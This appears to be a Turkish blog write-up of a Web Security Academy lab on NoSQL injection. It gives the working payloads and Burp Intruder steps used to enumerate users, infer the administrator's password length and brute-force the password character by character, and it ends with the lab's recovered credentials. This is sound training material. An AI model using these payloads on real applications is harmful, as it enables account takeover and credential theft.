BOOK THIS SPACE FOR AD
ARTICLE ADNoSQL enjeksiyonunun iki farklı türü vardır:
Sözdizimi enjeksiyonu ; Bu, NoSQL sorgu sözdizimini bozarak kendi yükünüzü enjekte etmenize olanak sağladığınızda meydana gelir. Ancak NoSQL veritabanları çeşitli sorgulama dilleri, sorgu sözdizimi türleri ve farklı veri yapıları kullandığından saldırının niteliği önemli ölçüde farklılık gösterir.Operatör ekleme ;Bu, sorguları işlemek için NoSQL sorgu işleçlerini kullanabildiğinizde meydana gelir.Kullanıcıların diğer kayıtlı kullanıcı adlarını aramasına ve rollerini görüntülemesine olanak tanıyan güvenlik açığı bulunan bir uygulamayı düşünün:
https://0a7000b00328cc5e80ad8fc30089003c.web-security-academy.net/my-account?id=wiener
bu isteği Repeatere yollayıp farklı kullanıcıları bulmaya çalışalım.
https://0a7000b00328cc5e80ad8fc30089003c.web-security-academy.net/my-account?id=wiener’ && ‘1’==’2 koşul yanlış olduğu için wiener kullanıcısı mevcut olsa bile hata mesajı almamızı sağlayacaktır.
’ && ‘1’==’2 kısmı ctrl+U ile url-encode edilmiştir.
Mesajı aldığına dikkat edin Could not find user.
https://0a7000b00328cc5e80ad8fc30089003c.web-security-academy.net/my-account?id=wiener’ && ‘1’==’1 ifadesi ile kullanıcının varlığını anlayabiliriz.
’ && ‘1’==’1 kısmı ctrl+U ile url-encode edilmiştir.
BU isteği Intrudere atıp :
https://0a7000b00328cc5e80ad8fc30089003c.web-security-academy.net/my-account?id=§wiener§’ && ‘1’==’1 kullanıcı adı Payloadı verilerek kullanıcılar listelenebilir.
Length kısmından var olan kullanıcıları sıralayabiliriz.
administrator kullanıcısını bulduk şimdi şifresi hakkında bilgiler edinmeye çalışalım.
https://0a7000b00328cc5e80ad8fc30089003c.web-security-academy.net/my-account?id=administrator’ && this.password.length < §0§ || ‘a’==’b
payloadı 8 ve 9 olan isteklerde length değişimi olmuş yani
this.password.length < 8 ifadesi yanlış iken
this.password.length < 9 ifadesinin doğru olduğu gözüküyor bunun anlamı administrator kullanıcısının şifresi 8 den küçük değil ancak 9 dan küçük bu koşul parolanın uzunluğunun 8 karakterden oluştuğunu göstermektedir.
sıra geldi şifre karakterlerini bulmaya :
https://0a7000b00328cc5e80ad8fc30089003c.web-security-academy.net/my-account?id=administrator’ && this.password[§0§]==’§a§
ilk karekterin indexi 0 olduğundan 0–7 arasında 8 karakterlik bir Brute Force denemesi yapmamız gerekmektedir Buradaki Intruder denememizde 2 yükümüz olacak 1. yük şifredeki indexi 2.yük ise o indexe ait karakteri bulmamızı sağlamalı .
payload saldırı türünü Cluster bomb olarak seçin.
payload seti 1’i seçin ve ardından şifrenin her karakteri için 0'dan 7'ye kadar sayılar ekleyin.Aşağıdaki gibi olmalıdır:
Payload seti 2'yi seçin , ardından a’dan z’ye küçük harfler ekleyin. Burp Suite Professional kullanıyorsanız yerleşik a-z 0–9listeyi kullanabilirsiniz.
Start attack ile saldırıyı başlatın. Length 209 olanları highlighted ile işaretleyin ve filter kısmından highlighted olarak filtreleyip payloadı küçükten büyüğe sıralayarak şifreyi yazmanızı kolaylaştıraçak şekilde listeleyin ve parolanız hazır.
administrator : rosfqhdy